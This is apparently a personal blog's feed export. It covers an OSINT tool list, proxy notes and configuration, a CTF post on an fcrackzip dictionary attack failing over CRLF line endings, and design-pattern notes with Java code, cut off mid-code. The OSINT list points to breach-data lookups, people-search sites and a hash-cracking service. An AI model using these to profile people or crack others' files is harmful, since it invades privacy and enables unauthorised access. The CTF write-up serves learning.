<p><span class="exturl" data-url="aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9tYXBzL0AzNy40MjE5OTk5LC0xMjIuMDg0MDU3NSwzYSw3NXksMzUuNTZoLDkwdC9kYXRhPSEzbTYhMWUxITNtNCExc0FGUWpDTkdSOVo1d1pqNFk2aDhxOHpRNWhaMVpsN3E2USEyZTAhN2kxMzMxMiE4aTY2NTY=">https://www.google.com/maps/@37.4219999,-122.0840575,3a,75y,35.56h,90t/data=!3m6!1e1!3m4!1sAFQjCNGR9Z5wZj4Y6h8q8zQ5hZ1Zl7q6Q!2e0!7i13312!8i6656</span></p>
<h2 id="geoguessr-tips"><a class="anchor" href="#geoguessr-tips">#</a> geoguessr tips</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9zb21lcmFuZG9tc3R1ZmYxLndvcmRwcmVzcy5jb20vMjAxOS8wMi8wOC9nZW9ndWVzc3ItdGhlLXRvcC10aXBzLXRyaWNrcy1hbmQtdGVjaG5pcXVlcy8=">https://somerandomstuff1.wordpress.com/2019/02/08/geoguessr-the-top-tips-tricks-and-techniques/</span></li>
</ul>
<h2 id="email"><a class="anchor" href="#email">#</a> email</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9waG9uZWJvb2suY3o=">https://phonebook.cz</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cudm9pbGFub3JiZXJ0LmNvbS8=">https://www.voilanorbert.com/</span></li>
<li>clearbit connect</li>
<li>email checker
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9lbWFpbC1jaGVja2VyLm5ldC9jaGVjaw==">https://email-checker.net/check</span></li>
</ul>
</li>
</ul>
<h2 id="domain"><a class="anchor" href="#domain">#</a> domain</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cud2hvaXMuY29tL3dob2lzLw==">https://www.whois.com/whois/</span></li>
</ul>
<h2 id="data-breach"><a class="anchor" href="#data-breach">#</a> data breach</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9kZWhhc2hlZC5jb20v">https://dehashed.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93ZWxlYWtpbmZvLmlvLw==">https://weleakinfo.io/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly9uYW1lY2hrLmNvbQ==">https://namechk.com</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93aGF0c215bmFtZS5hcHAvP3Ryaz1hcnRpY2xlLXNzci1mcm9udGVuZC1wdWxzZV9saXR0bGUtdGV4dC1ibG9jaw==">https://whatsmyname.app/?trk=article-ssr-frontend-pulse_little-text-block</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cud2hpdGVwYWdlcy5jb20v">https://www.whitepages.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cudHJ1ZXBlb3BsZXNlYXJjaC5jb20v">https://www.truepeoplesearch.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93ZWJtaWkuY29tLw==">https://webmii.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly90aGF0c3RoZW0uY29tLw==">https://thatsthem.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cuc3Bva2VvLmNvbS8=">https://www.spokeo.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly92b3RlcnJlY29yZHMuY29tLw==">https://voterrecords.com/</span></li>
</ul>
<h2 id="hash-decrypt"><a class="anchor" href="#hash-decrypt">#</a> hash decrypt</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9oYXNoZXMuY29tL2VuL2RlY3J5cHQvaGFzaA==">https://hashes.com/en/decrypt/hash</span></li>
</ul>
<h2 id="phone"><a class="anchor" href="#phone">#</a> phone</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cudHJ1ZWNhbGxlci5jb20v">https://www.truecaller.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly9jYWxsZXJpZHRlc3QuY29tLw==">https://calleridtest.com/</span></li>
</ul>
<h2 id="twitter-search-advanced"><a class="anchor" href="#twitter-search-advanced">#</a> twitter search advanced</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly90d2l0dGVyLmNvbS9zZWFyY2gtYWR2YW5jZWQ=">https://twitter.com/search-advanced</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cudHdlZXRiaW5kZXIuY29tL2Jsb2cvdHdpdHRlci1nZW9jb2RlLw==">https://www.tweetbinder.com/blog/twitter-geocode/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly90aG91Z2h0ZmF1Y2V0LmNvbS9zZWFyY2gtdHdpdHRlci1ieS1sb2NhdGlvbi9leGFtcGxlcy8=">https://thoughtfaucet.com/search-twitter-by-location/examples/</span>
<ul>
<li><code>From the url</code></li>
<li>Entering the search string below let’s you use twitter location search to see their tweets:</li>
<li>geocode:38.890550,-77.009017,.02km</li>
<li>The above string will give you Tweets in a 0.02km radius around the Capitol. You can expand or shrink the geofence however you like however you like. But if you want to search Twitter for a specific date range, for example, 1/6/2021, you’ll need to add that as well:</li>
<li>geocode:38.890550,-77.009017,.02km</li>
<li>since:2021-01-05 until:2021-01-07</li>
</ul>
</li>
</ul>
<h2 id="twitter-tool"><a class="anchor" href="#twitter-tool">#</a> twitter tool</h2>
<ul>
<li>xPro pay to use</li>
<li>api change</li>
</ul>
<h2 id="maybe-useful"><a class="anchor" href="#maybe-useful">#</a> maybe useful</h2>
<h3 id="osint-framework"><a class="anchor" href="#osint-framework">#</a> OSINT Framework</h3>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9vc2ludGZyYW1ld29yay5jb20v">https://osintframework.com/</span></li>
</ul>
<h3 id="integration-tool"><a class="anchor" href="#integration-tool">#</a> integration tool</h3>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cuYXdhcmUtb25saW5lLmNvbS9lbi8=">https://www.aware-online.com/en/</span></li>
</ul>
<h3 id="long-tail-keyword"><a class="anchor" href="#long-tail-keyword">#</a> long-tail keyword</h3>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9rZXl3b3JkdG9vbC5pby8=">https://keywordtool.io/</span></li>
</ul>
</content>
<category term="cyber" scheme="https://vkkkv.github.io/categories/cyber/" />
<category term="cyber" scheme="https://vkkkv.github.io/tags/cyber/" />
<updated>2024-07-11T07:40:41.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/07/09/computer-science/proxy/</id>
<title>proxy</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/07/09/computer-science/proxy/"/>
<content type="html"><h3 id="网络分层模型"><a class="anchor" href="#网络分层模型">#</a> 网络分层模型</h3>
<p>OSI 模型(Open Systems Interconnection model),该模型分为 7 层:</p>
<ol>
<li><strong>物理层</strong>(Physical Layer)</li>
<li><strong>数据链路层</strong>(Data Link Layer)</li>
<li><strong>网络层</strong>(Network Layer)</li>
<li><strong>传输层</strong>(Transport Layer)</li>
<li><strong>会话层</strong>(Session Layer)</li>
<li><strong>表示层</strong>(Presentation Layer)</li>
<li><strong>应用层</strong>(Application Layer)</li>
</ol>
<ul>
<li>
<p><strong>tap</strong>: 属于数据链路层(第 2 层)。 <code>tap</code> 设备用于在以太网帧级别操作。</p>
</li>
<li>
<p><strong>tun, vpn</strong>: 属于网络层(第 3 层)。 <code>tun</code> 设备用于 IP 包级别操作,VPN 通常工作在第 3 层(网络层)。</p>
</li>
<li>
<p><strong>icmp</strong>: 属于网络层(第 3 层)。ICMP(Internet Control Message Protocol)用于网络设备间的控制信息传递,如 ping 命令。</p>
</li>
</ul>
<h3 id="in-short"><a class="anchor" href="#in-short">#</a> in short</h3>
<figure class="highlight markdown"><figcaption data-lang="markdown"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">tap</span><span class="token punctuation">**</span></span>: 2层(数据链路层)</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">tun, vpn</span><span class="token punctuation">**</span></span>: 3层(网络层)</pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">icmp</span><span class="token punctuation">**</span></span>: 3层(网络层)</pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">TCP/UDP</span><span class="token punctuation">**</span></span>: 4层(传输层)</pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">socks</span><span class="token punctuation">**</span></span>: 7层(应用层)建立连接和传输数据时也涉及传输层(第4层)</pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">system proxy (clash default)</span><span class="token punctuation">**</span></span>: 7层(应用层)no ICMP</pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">proxychains</span><span class="token punctuation">**</span></span>: 7层(应用层)no ICMP</pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">HTTP/HTTPS、FTP、SMTP</span><span class="token punctuation">**</span></span>: 7层(应用层)</pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">SSH</span><span class="token punctuation">**</span></span>: 7层(应用层)使用传输层协议(通常是 TCP)22 port</pre></td></tr></table></figure><h3 id="tips"><a class="anchor" href="#tips">#</a> tips:</h3>
<ul>
<li>SOCKS4: 支持基本的 TCP 流量转发,不支持 UDP。</li>
<li>SOCKS5: 扩展了 SOCKS4 的功能,增加了对 UDP 流量的支持,并且提供了更强的认证和安全特性。</li>
<li><code>proxychains</code> 是一个工具,它会拦截应用程序的网络连接,并通过代理服务器转发这些连接。它通常用于让应用程序通过 SOCKS 或 HTTP 代理连接到网络。由于 <code>proxychains</code> 操作的是应用程序层的流量,并且修改传输层的连接请求,它应归类为应用层(第 7 层),尽管操作涉及传输层(第 4 层)的连接。</li>
</ul>
</content>
<category term="network" scheme="https://vkkkv.github.io/tags/network/" />
<updated>2024-07-09T11:40:12.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/02/08/technology/proxysetting/</id>
<title>proxysetting</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/02/08/technology/proxysetting/"/>
<content type="html"><h1 id="configuring-proxy-settings"><a class="anchor" href="#configuring-proxy-settings">#</a> Configuring Proxy Settings</h1>
<p>In the development world, setting up a proxy is a common task, especially when working behind a corporate firewall or when you want to ensure secure and private browsing. Proxies act as intermediaries between your computer and the internet, helping in filtering requests, improving security, and managing network traffic more efficiently.</p>
<h2 id="npm"><a class="anchor" href="#npm">#</a> NPM</h2>
<h3 id="setting-up-proxy-in-npm"><a class="anchor" href="#setting-up-proxy-in-npm">#</a> Setting up Proxy in NPM</h3>
<p>To configure npm to use a proxy, you can use the <code>npm config set</code> command as follows:</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">npm</span> config <span class="token builtin class-name">set</span> proxy <span class="token string">"http://localhost:7890"</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token function">npm</span> config <span class="token builtin class-name">set</span> https-proxy <span class="token string">"http://localhost:7890"</span></pre></td></tr></table></figure><p>Here, <code>http://localhost:7890</code> is the address of your proxy server. Change it according to your proxy server's IP address and port number.</p>
<h3 id="removing-proxy-configuration"><a class="anchor" href="#removing-proxy-configuration">#</a> Removing Proxy Configuration</h3>
<p>If you need to remove the proxy configuration, for instance, when you're not behind a proxy anymore, you can use the <code>npm config delete</code> command:</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">npm</span> config delete proxy</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token function">npm</span> config delete https-proxy</pre></td></tr></table></figure><h2 id="linux-shell-proxy-configuration"><a class="anchor" href="#linux-shell-proxy-configuration">#</a> Linux Shell Proxy Configuration</h2>
<h3 id="setting-up-proxy"><a class="anchor" href="#setting-up-proxy">#</a> Setting up Proxy</h3>
<p>You can set proxy environment variables in the shell as follows:</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token builtin class-name">export</span> <span class="token assign-left variable">http_proxy</span><span class="token operator">=</span><span class="token string">"http://localhost:7890"</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token builtin class-name">export</span> <span class="token assign-left variable">https_proxy</span><span class="token operator">=</span><span class="token string">"https://localhost:7890"</span></pre></td></tr></table></figure><p>Replace <code>localhost:7890</code> with your proxy server's IP address and port. Note the difference in the protocol ( <code>http</code> vs. <code>https</code> ) for <code>http_proxy</code> and <code>https_proxy</code> .</p>
<h3 id="removing-proxy-configuration-2"><a class="anchor" href="#removing-proxy-configuration-2">#</a> Removing Proxy Configuration</h3>
<p>To revert the changes or to disable the use of a proxy, you can <code>unset</code> these environment variables:</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token builtin class-name">unset</span> http_proxy</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token builtin class-name">unset</span> https_proxy</pre></td></tr></table></figure><h2 id="pip-proxy-configuration"><a class="anchor" href="#pip-proxy-configuration">#</a> Pip Proxy Configuration</h2>
<h3 id="using-proxy-with-pip"><a class="anchor" href="#using-proxy-with-pip">#</a> Using Proxy with Pip</h3>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre>pip <span class="token parameter variable">--proxy</span> http://localhost:7890 <span class="token function">install</span> somepackage</pre></td></tr></table></figure><p>Replace <code>http://localhost:7890</code> with your proxy's URL. Append the name of the package you wish to install instead of <code>somepackage</code> .</p>
<h2 id="git"><a class="anchor" href="#git">#</a> git</h2>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">git</span> config <span class="token parameter variable">--global</span> http.proxy http://127.0.0.1:7890</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token function">git</span> config <span class="token parameter variable">--global</span> https.proxy https://127.0.0.1:7890</pre></td></tr></table></figure><figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">git</span> config <span class="token parameter variable">--global</span> http.https://github.com.proxy http://127.0.0.1:7890</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token function">git</span> config <span class="token parameter variable">--global</span> https.https://github.com.proxy https://127.0.0.1:7890</pre></td></tr></table></figure><figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">git</span> config <span class="token parameter variable">--global</span> <span class="token parameter variable">--unset</span> http.proxy</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token function">git</span> config <span class="token parameter variable">--global</span> <span class="token parameter variable">--unset</span> https.proxy</pre></td></tr></table></figure><h1 id="unfinished"><a class="anchor" href="#unfinished">#</a> unfinished</h1>
</content>
<category term="technology" scheme="https://vkkkv.github.io/categories/technology/" />
<updated>2024-02-08T10:24:36.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/02/05/CTFNoob/ctf1/</id>
<title>ctfnoob01-换行符</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/02/05/CTFNoob/ctf1/"/>
<content type="html"><h1 id="跨平台换行符差异导致的密码破解失败"><a class="anchor" href="#跨平台换行符差异导致的密码破解失败">#</a> 跨平台换行符差异导致的密码破解失败</h1>
<p>在进行密码破解任务时,我遇到了一个典型但容易被忽视的问题:不同操作系统间的换行符差异。在这篇博客中,我将分享我的经验和解决方案,希望能帮助那些可能面临同样挑战的人。</p>
<h2 id="背景"><a class="anchor" href="#背景">#</a> 背景</h2>
<p>在 <code>Windows</code> 系统上生成了一个用于密码破解的字典文件,文件中的换行符遵循 <code>Windows</code> 的标准,即 <code>CRLF</code> ( <code>\r\n</code> )。然而,我的破解工具运行在 <code>WSL</code> 环境中,该环境以及大多数 <code>Linux</code> 工具期望的换行符是 <code>LF</code> ( <code>\n</code> )。</p>
<p>我确定字典中有正确密码。当使用 <code>VSCode</code> 的 <code>WSL</code> 终端运行如下 <code>fcrackzip</code> 命令时,破解尝试失败了</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>fcrackzip <span class="token parameter variable">-D</span> <span class="token parameter variable">-p</span> ./vspro/passwords.txt <span class="token parameter variable">-u</span> flag.zip</pre></td></tr></table></figure><p>通过 <code>file</code> 命令检查字典文件,确认了问题所在:</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>➜ code <span class="token function">file</span> ./vspro/passwords.txt</pre></td></tr><tr><td data-num="2"></td><td><pre>./vspro/passwords.txt: ASCII text, with CRLF line terminators</pre></td></tr></table></figure><p>这表明文件是用 <code>CRLF</code> 作为换行符的,而不是 <code>WSL</code> 和 <code>Linux</code> 工具期望的 <code>LF</code></p>
<h2 id="解决方案"><a class="anchor" href="#解决方案">#</a> 解决方案</h2>
<h3 id="if-conditions-permit"><a class="anchor" href="#if-conditions-permit">#</a> <code>If conditions permit</code></h3>
<p>在 <code>linux</code> 环境中使用脚本生成字典。</p>
<h3 id="else-使用指令转换换行符"><a class="anchor" href="#else-使用指令转换换行符">#</a> <code>Else</code> 使用指令转换换行符</h3>
<p>为了解决这个问题,我需要将字典文件中的 <code>CRLF</code> 换行符转换为 <code>LF</code> 。 <code>Linux</code> 和 <code>WSL</code> 提供了一个非常方便的工具 <code>dos2unix</code> ,它可以实现这种转换。</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">sudo</span> <span class="token function">apt</span> update <span class="token operator">&amp;&amp;</span> <span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> dos2unix</pre></td></tr></table></figure><p>安装完成后,使用 <code>dos2unix</code> 命令转换文件:</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre>dos2unix ./vspro/passwords.txt</pre></td></tr></table></figure><h3 id="验证转换"><a class="anchor" href="#验证转换">#</a> 验证转换</h3>
<p>转换完成后,再次使用 <code>file</code> 命令验证文件的换行符:</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre>➜ code <span class="token function">file</span> ./vspro/passwords.txt</pre></td></tr><tr><td data-num="2"></td><td><pre>./vspro/passwords.txt: ASCII text</pre></td></tr></table></figure><p>这次,文件描述不再提到 <code>CRLF</code> 换行符,说明转换成功。</p>
<h3 id="重新尝试破解"><a class="anchor" href="#重新尝试破解">#</a> 重新尝试破解</h3>
<p>转换换行符后,我再次运行了 <code>fcrackzip</code> 命令,这次成功破解了 ZIP 文件的密码。</p>
<h2 id="end"><a class="anchor" href="#end">#</a> end</h2>
<p>This experience highlights that, when working across different platforms, even minor details like line breaks can lead to significant obstacles. Despite their seeming insignificance, these differences can greatly impact how files are processed and texts are parsed. Thankfully, with the use of straightforward tools and commands, these issues can be easily overcome, allowing for a seamless workflow.</p>
<p>I hope this blog post assists those facing similar challenges in cross-platform tasks, such as password cracking or any activity involving text file processing. Remember, when you come across unusual issues, it's worth starting with the basics, like the seemingly trivial matter of line breaks.</p>
</content>
<category term="CTFNoob" scheme="https://vkkkv.github.io/categories/CTFNoob/" />
<category term="CTF" scheme="https://vkkkv.github.io/tags/CTF/" />
<updated>2024-02-05T08:05:41.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/02/01/Design%20Patterns/info/</id>
<title>设计模式</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/02/01/Design%20Patterns/info/"/>
<content type="html"><p><img data-src="https://s2.loli.net/2024/02/01/YngdrzoCPtfJm7Q.png" alt="image.png" title="UML类图关系" width="50%" height="50%" /></p>
<h1 id="设计模式原则"><a class="anchor" href="#设计模式原则">#</a> 设计模式原则</h1>
<p><strong>设计模式就是从大型软件架构出发、便于升级和维护的软件设计思想,它强调降低依赖,降低耦合。</strong></p>
<p>1、开闭原则 <code>Open Close Principle</code></p>
<ul>
<li>对扩展开放,对修改关闭。</li>
<li>使程序的扩展性好,易于维护和升级。</li>
<li>需要使用接口和抽象类</li>
</ul>
<p>2、里氏代换原则 <code>Liskov Substitution Principle</code></p>
<ul>
<li>任何基类可以出现的地方,子类一定可以出现。</li>
<li>里氏代换原则是对实现抽象化的具体步骤的规范。</li>
</ul>
<p>3、依赖倒转原则 <code>Dependence Inversion Principle</code></p>
<ul>
<li>针对接口编程,依赖于抽象而不依赖于具体。</li>
</ul>
<p>4、接口隔离原则 <code>Interface Segregation Principle</code></p>
<ul>
<li>使用多个隔离的接口,比使用单个接口要好。</li>
<li>降低类之间的耦合度。</li>
</ul>
<p>5、迪米特法则,又称最少知道原则 <code>Demeter Principle</code></p>
<ul>
<li>一个实体应当尽量少地与其他实体之间发生相互作用。</li>
</ul>
<p>6、合成复用原则 <code>Composite Reuse Principle</code></p>
<ul>
<li>尽量使用合成 / 聚合的方式,而不是使用继承。</li>
</ul>
<h1 id="类型"><a class="anchor" href="#类型">#</a> 类型</h1>
<ul>
<li>23 种设计模式。</li>
<li>创建型模式 <code>Creational Patterns</code></li>
<li>结构型模式 <code>Structural Patterns</code></li>
<li>行为型模式 <code>Behavioral Patterns</code> 。</li>
</ul>
</content>
<category term="Note" scheme="https://vkkkv.github.io/categories/Note/" />
<category term="Design Patterns" scheme="https://vkkkv.github.io/categories/Note/Design-Patterns/" />
<category term="Design Patterns" scheme="https://vkkkv.github.io/tags/Design-Patterns/" />
<updated>2024-02-01T09:38:54.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/02/01/Design%20Patterns/Creational/</id>
<title>创建型模式</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/02/01/Design%20Patterns/Creational/"/>
<content type="html"><h1 id="创建型模式-creational-patterns"><a class="anchor" href="#创建型模式-creational-patterns">#</a> 创建型模式 <code>Creational</code> <code>Patterns</code></h1>
<ul>
<li>创建型模式关注如何创建对象,将对象的实例化和声明相分离。</li>
<li>关注于对象的创建过程,目的是将对象的实例化与客户端的使用分离。</li>
<li>通过这种方式,系统中的具体类的实例化不会使代码变得僵硬,增加了系统的灵活性和可维护性。</li>
<li>更有效地封装和抽象化对象的创建过程。</li>
</ul>
<p>创建型模式包括:</p>
<ul>
<li><strong>单例模式(Singleton)</strong>:确保一个类只有一个实例,并提供一个全局访问点。</li>
<li><strong>工厂方法模式(Factory Method)</strong>:定义一个创建对象的接口,让子类决定实例化哪一个类。</li>
<li><strong>抽象工厂模式(Abstract Factory)</strong>:提供一个接口,用于创建相关或依赖对象的家族,而不需要指定具体类。</li>
<li><strong>建造者模式(Builder)</strong>:使用多个简单的对象一步一步构建成一个复杂的对象。</li>
<li><strong>原型模式(Prototype)</strong>:通过复制现有的实例来创建新的实例,而不是通过新建实例。</li>
</ul>
<h2 id="单例模式"><a class="anchor" href="#单例模式">#</a> 单例模式</h2>
<p>保证一个类只有一个实例, 并提供一个访问该实例的全局节点。</p>
<figure class="highlight java"><figcaption data-lang="java"><span>懒汉式双重校验锁(DCL,即 double-checked locking)</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Singleton</span> <span class="token punctuation">&#123;</span> </pre></td></tr><tr><td data-num="2"></td><td><pre> <span class="token keyword">private</span> <span class="token keyword">volatile</span> <span class="token keyword">static</span> <span class="token class-name">Singleton</span> singleton<span class="token punctuation">;</span> </pre></td></tr><tr><td data-num="3"></td><td><pre> <span class="token keyword">private</span> <span class="token class-name">Singleton</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span> </pre></td></tr><tr><td data-num="4"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token class-name">Singleton</span> <span class="token function">getSingleton</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> </pre></td></tr><tr><td data-num="5"></td><td><pre> <span class="token keyword">if</span> <span class="token punctuation">(</span>singleton <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> </pre></td></tr><tr><td data-num="6"></td><td><pre> <span class="token keyword">synchronized</span> <span class="token punctuation">(</span><span class="token class-name">Singleton</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> </pre></td></tr><tr><td data-num="7"></td><td><pre> <span class="token keyword">if</span> <span class="token punctuation">(</span>singleton <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> </pre></td></tr><tr><td data-num="8"></td><td><pre> singleton <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Singleton</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </pre></td></tr><tr><td data-num="9"></td><td><pre> <span class="token punctuation">&#125;</span> </pre></td></tr><tr><td data-num="10"></td><td><pre> <span class="token punctuation">&#125;</span> </pre></td></tr><tr><td data-num="11"></td><td><pre> <span class="token punctuation">&#125;</span> </pre></td></tr><tr><td data-num="12"></td><td><pre> <span class="token keyword">return</span> singleton<span class="token punctuation">;</span> </pre></td></tr><tr><td data-num="13"></td><td><pre> <span class="token punctuation">&#125;</span> </pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr></table></figure><ul>
<li><code>volatile</code> : 这是 Java 语言的一个关键字,用于指示 JVM(Java 虚拟机),这个变量可能会被多个线程同时访问和修改,但是它不会被线程缓存(每次访问变量时都要从主内存中读取),并且每次修改都会立即写入主内存。这个关键字的主要作用是确保变量的可见性和防止指令重排序优化,这对于多线程环境下安全创建单例至关重要。</li>
</ul>
<h2 id="工厂方法模式"><a class="anchor" href="#工厂方法模式">#</a> 工厂方法模式</h2>
<ul>
<li>在父类中提供一个创建对象的方法, 允许子类决定实例化对象的类型。</li>
<li>如果无法预知对象确切类别及其依赖关系时, 可使用工厂方法。</li>
<li>如果你希望用户能扩展你软件库或框架的内部组件, 可使用工厂方法。</li>
<li>如果你希望复用现有对象来节省系统资源, 而不是每次都重新创建对象, 可使用工厂方法。</li>
</ul>
<figure class="highlight java"><figcaption data-lang="java"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">interface</span> <span class="token class-name">Shape</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="2"></td><td><pre> <span class="token keyword">void</span> <span class="token function">draw</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token comment">////////////////////////////////</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Rectangle</span> <span class="token keyword">implements</span> <span class="token class-name">Shape</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="6"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="7"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">draw</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="8"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="9"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token comment">//////////////</span></pre></td></tr><tr><td data-num="12"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">ShapeFactory</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="13"></td><td><pre> </pre></td></tr><tr><td data-num="14"></td><td><pre> <span class="token comment">// 使用 getShape 方法获取形状类型的对象</span></pre></td></tr><tr><td data-num="15"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Shape</span> <span class="token function">getShape</span><span class="token punctuation">(</span><span class="token class-name">String</span> shapeType<span class="token punctuation">)</span><span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="16"></td><td><pre> <span class="token keyword">if</span><span class="token punctuation">(</span>shapeType <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="17"></td><td><pre> <span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="18"></td><td><pre> <span class="token punctuation">&#125;</span> </pre></td></tr><tr><td data-num="19"></td><td><pre> <span class="token keyword">if</span><span class="token punctuation">(</span>shapeType<span class="token punctuation">.</span><span class="token function">equalsIgnoreCase</span><span class="token punctuation">(</span><span class="token string">"CIRCLE"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token 